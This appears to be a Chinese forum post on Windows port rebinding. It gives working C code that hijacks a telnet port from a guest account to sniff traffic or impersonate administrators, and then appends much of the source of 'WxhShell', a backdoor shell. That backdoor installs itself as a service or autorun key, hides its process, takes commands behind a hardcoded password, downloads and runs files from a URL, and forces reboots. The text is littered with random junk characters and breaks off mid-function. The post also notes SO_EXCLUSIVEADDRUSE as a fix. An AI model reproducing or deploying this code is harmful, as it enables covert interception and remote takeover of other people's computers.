社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18549阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A]x'!qa@=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fQ.{s Q$@h  
. PAR  
  saddr.sin_family = AF_INET; R\VM6>SN'S  
Qx{[#[Da  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z#Q)a;RA  
IJnh@?BC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W'0(0;+G/j  
)U$]J*LI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z{#;my*X|  
]E8S`[Vn  
  这意味着什么?意味着可以进行如下的攻击: aC9PlKI  
qYi<GI*|@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >%PPp.R  
k~P{Rm;F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J3;dRW  
c <T'_93  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h_w_OCC&2  
0nX.%2p#Je  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   ~wX4j  
ww0m1FzX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,:G3Y )  
$ 2/T]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l>H G|ol  
IQ9jTkW l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 slV7,4S&!  
HJV8P2f8`  
  #include `U~Y{f_!H  
  #include P0/B!8x  
  #include qUW>qi,  
  #include    vW\|% @hW,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nV$ctdusQ  
  int main() TAXl73j_CY  
  { GNv5yWQ@  
  WORD wVersionRequested; Qey6E9eCA  
  DWORD ret; ~w>Z !RuhT  
  WSADATA wsaData; &R'%OFi  
  BOOL val; O8J:Tw}M*  
  SOCKADDR_IN saddr; *C0gpEf9S  
  SOCKADDR_IN scaddr; _tGR:E  
  int err; 1V@\L|Y  
  SOCKET s; 9gz"r  
  SOCKET sc; k*;2QED  
  int caddsize; @3 UVl^T  
  HANDLE mt; Ya_4[vR<  
  DWORD tid;   o`@B*, @  
  wVersionRequested = MAKEWORD( 2, 2 );  ;7F|g  
  err = WSAStartup( wVersionRequested, &wsaData ); Vu6p l  
  if ( err != 0 ) { bhFAt1h  
  printf("error!WSAStartup failed!\n"); {]a 6o[}u  
  return -1; /@*J\0h(-  
  } X> *o\   
  saddr.sin_family = AF_INET; CwV1~@{-  
   fGv`.T_d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Nr#Y]9nA  
JqDj)}fzX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -}ebn*7i\  
  saddr.sin_port = htons(23); 7 %P?3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^z[-pTY  
  { $LPu_FJ  
  printf("error!socket failed!\n"); jaoGm$o>"F  
  return -1; 3x 9O(;k  
  } zn |=Q$81  
  val = TRUE; |sw&sfH[FD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Efb S*f5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  MRB>(}  
  { @'EP$!c  
  printf("error!setsockopt failed!\n"); lB\ "*K;  
  return -1; .2xp.i{  
  } qdn\8Pn  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \bh3&Z'.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 by {G{M`X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6]|NB&  
PAe2 hJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i*9l  
  { Q7y6</4f  
  ret=GetLastError(); k?.HW?=zy  
  printf("error!bind failed!\n"); ZSuMQ32  
  return -1; 4*UoTE-g$  
  } y>S.B/ d  
  listen(s,2); lPS A  
  while(1) cLQvzd:h=  
  { zXB]Bf3TH  
  caddsize = sizeof(scaddr); Q<L.!%vu}  
  //接受连接请求 >#@1 I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,i2%FW  
  if(sc!=INVALID_SOCKET) Po[u6K2&  
  { ?=<vC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b'$j* N  
  if(mt==NULL) 9?*BN\E5S  
  { ?lxI& h  
  printf("Thread Creat Failed!\n"); NgKbf vt  
  break; &)vX7*j  
  } ~6'6v 8  
  } (k"oV>a|  
  CloseHandle(mt); ufdC'2cp8  
  } E<3hy  
  closesocket(s); 7"f$;CN?~  
  WSACleanup(); %PG::b  
  return 0; R]%ZqT{PS  
  }   >GiM?*cC  
  DWORD WINAPI ClientThread(LPVOID lpParam) r*/Pyh  
  { F9e$2J)C  
  SOCKET ss = (SOCKET)lpParam; Ep}KIBBO  
  SOCKET sc; RB_7S!qC5  
  unsigned char buf[4096]; Gvt.m&_  
  SOCKADDR_IN saddr; k@5,6s:  
  long num; +G&h  
  DWORD val; Z*kGWL  
  DWORD ret; q[]!V0Ek10  
  //如果是隐藏端口应用的话,可以在此处加一些判断 oll~|J^sg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Do(7LidC5  
  saddr.sin_family = AF_INET; w\Q3h`.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J p .wg  
  saddr.sin_port = htons(23); M[_~7~4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @2 dp5  
  { u+s#Fee I  
  printf("error!socket failed!\n"); <Ebkb3_  
  return -1; IxCEE5+`%  
  } ?9i7+Y"  
  val = 100; ~}4o=O(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `sN3iD!@R  
  { 8Es]WR5 ^  
  ret = GetLastError(); i~z:Fe{  
  return -1; ja~b5Tf9  
  } G=3/PYp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p;j$i6YJ  
  { UhY )rezh  
  ret = GetLastError(); mf@YmKbp  
  return -1; 1 X2oz  
  } VzpPopD,QW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z$-/yT"M  
  { 44?5]C7  
  printf("error!socket connect failed!\n"); )+ Wr- Yay  
  closesocket(sc); -p ) l63  
  closesocket(ss); ok'0Byo  
  return -1; %>i7A?L  
  } !j4C:L3F  
  while(1) P1 (8foZA  
  { ;0xCrE{l"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 da!N0\.1T  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?9!tMRb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ER5Q` H  
  num = recv(ss,buf,4096,0); {<~XwJ.  
  if(num>0) @D"#B@j  
  send(sc,buf,num,0); Njq#@*>[p  
  else if(num==0) {L$b$u$7:  
  break; X@9_ukdpu  
  num = recv(sc,buf,4096,0); ]rn!+z  
  if(num>0) uA!T@>vl  
  send(ss,buf,num,0); o^&; `XOd  
  else if(num==0) P>pkLP} Vo  
  break; P xpz7He  
  } '[Oi_gE.  
  closesocket(ss); y%TR2CvT  
  closesocket(sc); 9qXHdpb#g"  
  return 0 ; :`3b|u=KZ  
  } Ffj:xZ9rk  
92Ar0j]  
":7cZ1VN2  
========================================================== h#]}J}si  
![abDT5![  
下边附上一个代码,,WXhSHELL (G PJ=r  
W %R h2l  
========================================================== dhK$ XG  
-ZQ3^'f:0J  
#include "stdafx.h" }~QB2&3  
{K3\S 0L  
#include <stdio.h> tsfOPth$*  
#include <string.h> YXI DqTA+  
#include <windows.h> mu"]B]  
#include <winsock2.h> W]2;5 `MM  
#include <winsvc.h> a' #-%!]  
#include <urlmon.h> Q=PaTh   
,C&h~uRi#f  
#pragma comment (lib, "Ws2_32.lib") jcq(=7j  
#pragma comment (lib, "urlmon.lib") c_ygwO3.Q  
K:y q^T7  
#define MAX_USER   100 // 最大客户端连接数 ~O1*]  
#define BUF_SOCK   200 // sock buffer [b#jw,7  
#define KEY_BUFF   255 // 输入 buffer p6Z]oL q  
gP( -Op  
#define REBOOT     0   // 重启 87<y_P@{  
#define SHUTDOWN   1   // 关机 _"0n.JQg  
3sp*.dk  
#define DEF_PORT   5000 // 监听端口 %m+MEh"b5  
[PX'Jer  
#define REG_LEN     16   // 注册表键长度 7vj[ AOq3l  
#define SVC_LEN     80   // NT服务名长度 ejr"(m(Xe  
3:Z(tM&-O  
// 从dll定义API >P0AGZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uhc0,V;S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LG<lZ9+y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M0]l!x#7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3gabk/  
=JVRm 2#*  
// wxhshell配置信息 5\4>H6  
struct WSCFG { 4uftx1o   
  int ws_port;         // 监听端口 akCl05YW  
  char ws_passstr[REG_LEN]; // 口令 f2yv7t T   
  int ws_autoins;       // 安装标记, 1=yes 0=no iT5H<uS  
  char ws_regname[REG_LEN]; // 注册表键名 )<^ ~${$U  
  char ws_svcname[REG_LEN]; // 服务名 :X4\4B*~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dhVwS$O )  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KFfwZkj{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q!ZmF1sU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e0$mu?wd-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _-!6@^+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n/|/Womr  
23OV y^b  
}; NXmj<azED  
=~0XdS/1  
// default Wxhshell configuration Y 4714  
struct WSCFG wscfg={DEF_PORT, s lI)"+6  
    "xuhuanlingzhe", X4k/7EA  
    1, S~TJF}[k^6  
    "Wxhshell", A.h?#%TLL  
    "Wxhshell", %qE#^ U  
            "WxhShell Service", F Q k;  
    "Wrsky Windows CmdShell Service", unX^MPpw  
    "Please Input Your Password: ", BuvBSLC~  
  1, nb|MHtPX  
  "http://www.wrsky.com/wxhshell.exe", Wey\GQ`"8  
  "Wxhshell.exe" hqds T  
    }; ^CE:?>a$  
8/F2V?iT  
// 消息定义模块 n=>Gu9`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4dok/ +Ec  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U)PumU+z$u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >L;O, {Px-  
char *msg_ws_ext="\n\rExit."; % (.PRRI  
char *msg_ws_end="\n\rQuit."; Z*QRdB%,  
char *msg_ws_boot="\n\rReboot..."; 6,h<0j{  
char *msg_ws_poff="\n\rShutdown..."; Grub1=6l  
char *msg_ws_down="\n\rSave to "; U^YPL,m1  
d{trO;%#f  
char *msg_ws_err="\n\rErr!"; :Aa^afjJw  
char *msg_ws_ok="\n\rOK!"; kL3=7t^ 1  
[T^6Kzz  
char ExeFile[MAX_PATH]; lz*2wGI9  
int nUser = 0; vJ'ho  
HANDLE handles[MAX_USER]; s-ou;S3s  
int OsIsNt; G`P+J  
.) GVb<w  
SERVICE_STATUS       serviceStatus; 2~4C5@SxL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Iymz2  
[5 V  
// 函数声明 2X]\:<[4  
int Install(void); 8(I"C$D!k  
int Uninstall(void); <@=NDUI3*,  
int DownloadFile(char *sURL, SOCKET wsh); HkN +:  
int Boot(int flag); xV6j6k  
void HideProc(void); \wCL)t.cX  
int GetOsVer(void); Sce9R?II  
int Wxhshell(SOCKET wsl); o MAK[$k;  
void TalkWithClient(void *cs); Pn#Lymxh_a  
int CmdShell(SOCKET sock); ?c+;  
int StartFromService(void); CP'-CQ\Q  
int StartWxhshell(LPSTR lpCmdLine); ;uDFd04w [  
?`XKaD! f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &Xav$6+Z1J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); : L>d]Hn  
b2Hpuej  
// 数据结构和表定义 f1{ckHAY55  
SERVICE_TABLE_ENTRY DispatchTable[] = k$>T(smh  
{ @e7+d@ O<  
{wscfg.ws_svcname, NTServiceMain}, IviWS84  
{NULL, NULL} L}mhMxOTi  
}; f,#xicSB*  
neBkwXF!  
// 自我安装 6p@ts`#  
int Install(void) 6xe |L  
{ jZ;T&s  
  char svExeFile[MAX_PATH]; <gy'@w?  
  HKEY key; qSd $$L^  
  strcpy(svExeFile,ExeFile); ZZ(@:F  
;gyE5n-{  
// 如果是win9x系统,修改注册表设为自启动 %([c4el>\F  
if(!OsIsNt) { bsm,lx]bH^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e'Pa@]VaC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4l*&3Ar  
  RegCloseKey(key); uE$o4X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { On^#x]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K0\WN"ua;  
  RegCloseKey(key); ^bG!k]U!2  
  return 0; 9PAp*`J@kr  
    } 1dcy+ !>  
  } }0( Na  
} &}cie"\L  
else { t/Fe"T[,V  
#<o#kJL  
// 如果是NT以上系统,安装为系统服务 "->:6Oe2   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %8Z,t+'  
if (schSCManager!=0) +*V; f,  
{ x _K%  
  SC_HANDLE schService = CreateService GpL#, qYc  
  ( wO#+8js  
  schSCManager, Q Y'-]  
  wscfg.ws_svcname, Tt\w^Gv\d  
  wscfg.ws_svcdisp, U6Ak"  
  SERVICE_ALL_ACCESS, pA'A<|)K0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iIFQRnpu;3  
  SERVICE_AUTO_START, 8##jd[o&p~  
  SERVICE_ERROR_NORMAL, hgK=fHJ k  
  svExeFile, d%3BJ+J  
  NULL, U\ued=H  
  NULL, umzYJ>2t  
  NULL, oK6lCGM5  
  NULL, eXK`%'  
  NULL  B]7jg9/  
  ); *-_Np u6  
  if (schService!=0) ' T]oV~H  
  { jvQ"cs$.  
  CloseServiceHandle(schService); 8GldVn.u  
  CloseServiceHandle(schSCManager); ">3@<f>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y~7lug  
  strcat(svExeFile,wscfg.ws_svcname); O 0#Jl8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ydQS"]\g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =f!M=D  
  RegCloseKey(key); ~\ f^L?m  
  return 0; UD{/L"GG  
    } Ao T7sy7  
  } sFK<:ka  
  CloseServiceHandle(schSCManager); t5h_Q92N  
} >U?Bka!  
} +`8)U3u0  
gf?^yP ;V  
return 1; {M/c!  
} / JB4#i7  
jm\#($gl=  
// 自我卸载 sE6J:m(  
int Uninstall(void) SWpUVZyd  
{ }eM<A$J  
  HKEY key; p8l#=]\ ;  
4-_lf(# i  
if(!OsIsNt) { aUK4{F ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <q2nZI^  
  RegDeleteValue(key,wscfg.ws_regname); v\,%)Z/  
  RegCloseKey(key); \F~Cbj+'Nu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @88i/ Z_  
  RegDeleteValue(key,wscfg.ws_regname); 1i:g /H  
  RegCloseKey(key); Yj6p19  
  return 0; Aw;vg/#~md  
  } `Xdxg\|  
} ]0 RXo3  
} T+RI8.#o  
else { &pjV4m|j<  
nM-SDVFM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CqK#O'\  
if (schSCManager!=0) e oSM@Isu  
{ dM{~Ubb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AijTT%  
  if (schService!=0) 1Uk~m  
  { @T1+b"TC  
  if(DeleteService(schService)!=0) { p"IS"k%  
  CloseServiceHandle(schService); ?K {1S  
  CloseServiceHandle(schSCManager); :xS&Y\ry  
  return 0; [P=[hj;  
  } ^85n9a?8  
  CloseServiceHandle(schService); ,$zlw\  
  } @jSbMI  
  CloseServiceHandle(schSCManager); P lH`(n#  
} p''"E$B/(  
} jUvA<r  
P 4*MV  
return 1; zK4 8vo  
} 9zYiG3 d  
(%yc5+f!  
// 从指定url下载文件 'QojSq   
int DownloadFile(char *sURL, SOCKET wsh) e>9Z:vY  
{ QM_X2Ho  
  HRESULT hr; 6\fMzm  
char seps[]= "/"; .*-w UBr  
char *token; "%''k~UD 4  
char *file; An #Hb=  
char myURL[MAX_PATH]; [Am`5&J  
char myFILE[MAX_PATH]; dP7Vs a+  
92]ZiL?k  
strcpy(myURL,sURL); M#VC3h$  
  token=strtok(myURL,seps); ct4 [b|  
  while(token!=NULL) 8+ F}`lLA  
  { C]yQ "b  
    file=token; x X/s1(P  
  token=strtok(NULL,seps); Ocwp]Mut&  
  } ``|RO[+2  
B$TChc3B  
GetCurrentDirectory(MAX_PATH,myFILE); 1Uemsx%'k  
strcat(myFILE, "\\"); =lC;^&D-0/  
strcat(myFILE, file); wp %FM  
  send(wsh,myFILE,strlen(myFILE),0); BCUt`;q ]B  
send(wsh,"...",3,0); p^igscPF6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (e>Rot0  
  if(hr==S_OK) I+"?,Ej$K  
return 0; !\-4gr?`!  
else u}}9j&^Xa  
return 1; M ?xpwqu\  
MziZN^(  
} MATgJ`lsy  
sCtw30BL  
// 系统电源模块 VP %i1|XZJ  
int Boot(int flag) =vr Y{5!>  
{ Bug}^t{M  
  HANDLE hToken; 9Ue7 ~"=  
  TOKEN_PRIVILEGES tkp; a We Bav}_  
$HBT%g@UN  
  if(OsIsNt) { +rsl( 08FY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6`qr:.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w;c#drY7S  
    tkp.PrivilegeCount = 1; Y62u%':X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g+}s:9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YWRE&MQ_  
if(flag==REBOOT) { _+\:OB[Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]A]Ft!`6z  
  return 0; ~|'y+h89  
} yS)- &t!;  
else { Ln=>@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k%]DT.cE  
  return 0; * {gxI<   
} s[3![ "^Y  
  } VX;zZ`BJ  
  else { L$lo~7<]  
if(flag==REBOOT) { Zj1ZU[BEcL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G(As%r]  
  return 0; T)(e!Xz  
} =_8 UZk.  
else { 4`8IFK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ', sQ/#S  
  return 0; 4|6&59?pnc  
} &nqdl+|G*  
} x2C/L  
`10X5V@hP  
return 1; +ze}0lrEL  
} %j *k  
~v2V`lxh  
// win9x进程隐藏模块 H DF"]l;  
void HideProc(void) [`.3f'")j  
{ ls"b#eFC#  
.pM &jni Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ua`6M  
  if ( hKernel != NULL ) X`yNR;>  
  { fJLf7+q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); As@ihB+(\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cBifZv*l  
    FreeLibrary(hKernel); &Y,Q>bu  
  } wJ+U[a  
3P//H8 8LY  
return; YH[XRUa  
} 50LHF %  
Q[J [=  
// 获取操作系统版本 CAUijMI@  
int GetOsVer(void) :be:-b%K  
{ >|a\>UgC  
  OSVERSIONINFO winfo; m|]j'g?{}(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 61/)l0 <;  
  GetVersionEx(&winfo); ~ HK1X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i8Fs0U4"  
  return 1; m[Z6VHn  
  else Z-(} l2\  
  return 0; la'e[t7  
} umQi  
> P<z |8  
// 客户端句柄模块 - <J q  
int Wxhshell(SOCKET wsl) f.| |PH  
{ =/6p#d*0  
  SOCKET wsh; ^ED"rMI  
  struct sockaddr_in client; LZ~2=Y< U(  
  DWORD myID; u4:\UC'  
Rl_.;?v"!  
  while(nUser<MAX_USER) Z^s+vi  
{ \n#]%X5c  
  int nSize=sizeof(client); ~|&="K4,:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Kb-W tFx  
  if(wsh==INVALID_SOCKET) return 1; RcgRaQ2^  
}>V/H]B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E{uf\Fc   
if(handles[nUser]==0) G%a] j  
  closesocket(wsh); ZA0i)(j*Mn  
else ^8:VWJM  
  nUser++; I>{!U$  
  } Sv7 i! j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N~;*bvW{  
bA}Z0a  
  return 0; -b cG[W3  
} "2a$1Wmj(  
9b1?W?"  
// 关闭 socket B &?fM~J  
void CloseIt(SOCKET wsh) )ZGYhE  
{ &vCeLh:s  
closesocket(wsh); &K>cW$h=a  
nUser--; `gt:gx>a  
ExitThread(0); 4E2yH6l  
} .eo~?u<j&  
f`9JE8  
// 客户端请求句柄 j'+ELKQ  
void TalkWithClient(void *cs) Y %K~w  
{ \yNQQ$B  
6O9iEc,HM  
  SOCKET wsh=(SOCKET)cs; =p]mX )I_  
  char pwd[SVC_LEN]; :c y >c2  
  char cmd[KEY_BUFF];  EZ<80G  
char chr[1]; tQrS3Hz'nA  
int i,j; Jen%}\  
GM](=|F  
  while (nUser < MAX_USER) { 6 }!Z"  
vQ 4}WtvA  
if(wscfg.ws_passstr) { G$C }?"l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sk\n;mL:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )\wuesAO  
  //ZeroMemory(pwd,KEY_BUFF); |QVr `tE<  
      i=0; U/Wrh($ #4  
  while(i<SVC_LEN) { Pp+~Cir  
f])M04<  
  // 设置超时  R:~(Z?  
  fd_set FdRead; +{.780|  
  struct timeval TimeOut; gE\b 982  
  FD_ZERO(&FdRead); 1Dq<{;rWb  
  FD_SET(wsh,&FdRead); mQ}Gh_'ps  
  TimeOut.tv_sec=8; R2rsJ  
  TimeOut.tv_usec=0; l-}KmZ]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6PU/{c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >GXXjAIu/  
~.Cv DJy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mG2VZ>  
  pwd=chr[0]; GAw(mH*  
  if(chr[0]==0xd || chr[0]==0xa) { ?`"n3!>bS  
  pwd=0; Z\Z,,g+WL  
  break; WuM C^  
  } CvK3H\.&;k  
  i++; gO='A(Y  
    } D9BQID$R  
XE1$K_m  
  // 如果是非法用户,关闭 socket X&a:g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T|;@ T^  
} s\gp5MT  
@TzvT3\q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B>z?ClH$R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uvnI>gv  
pYo=oI  
while(1) { bO3GVc+S  
QXVC\@  
  ZeroMemory(cmd,KEY_BUFF); l!?yu]Yon  
:+ Jt^ 6  
      // 自动支持客户端 telnet标准    l{$[}<  
  j=0; -\#lF?fzb  
  while(j<KEY_BUFF) { R,t$"bOd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =gjDCx$|  
  cmd[j]=chr[0]; u5Up&QE!>q  
  if(chr[0]==0xa || chr[0]==0xd) { uSN"vpc4D  
  cmd[j]=0; >2b`\Q*<  
  break; "R[l ZJ@  
  } pu9^e4B9  
  j++; "AC^ rz~U  
    } M;jcUX_{  
Bz /@c)  
  // 下载文件 }D*yr3b  
  if(strstr(cmd,"http://")) { 6L9, 'Bg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ST Z]8cw  
  if(DownloadFile(cmd,wsh)) P4k;O?y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Ye8 Q5v"]  
  else W:`#% :C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dNiH|-$an  
  } 8(f:U@BS  
  else { FhkkW W L  
TL0[@rr4  
    switch(cmd[0]) { ~ #PLAP3-  
  R)5n 8  
  // 帮助 bsS:"/?>  
  case '?': { /,s[#J   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xg7|JS!  
    break; *?t%0){  
  } 8wK ~ i  
  // 安装 ;65D  
  case 'i': { 7 oQ[FdRn*  
    if(Install()) +f|BiW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ps4 ZFX  
    else S`!-Cal`n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H8{ol6wc)6  
    break; Vh|\_~9  
    } }V]R+%:w@  
  // 卸载 x Q4%e[/  
  case 'r': { lg$zGa?  
    if(Uninstall()) VT%:zf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LP];x3  
    else !do?~$Og  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .}B(&*9,v  
    break; }ns-W3B'  
    } m GjN_  
  // 显示 wxhshell 所在路径 ?D`T7KSe~D  
  case 'p': { HKDID[d0  
    char svExeFile[MAX_PATH]; CGbwmPx  
    strcpy(svExeFile,"\n\r"); 3Ot~!AlR  
      strcat(svExeFile,ExeFile); NSQp< m  
        send(wsh,svExeFile,strlen(svExeFile),0); `aC){&AP(  
    break; )e|=mtp  
    } K/=|8+IDL  
  // 重启 Oz: *LZ  
  case 'b': { eHiy,IN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `=lc<T^  
    if(Boot(REBOOT)) )2IH 5  
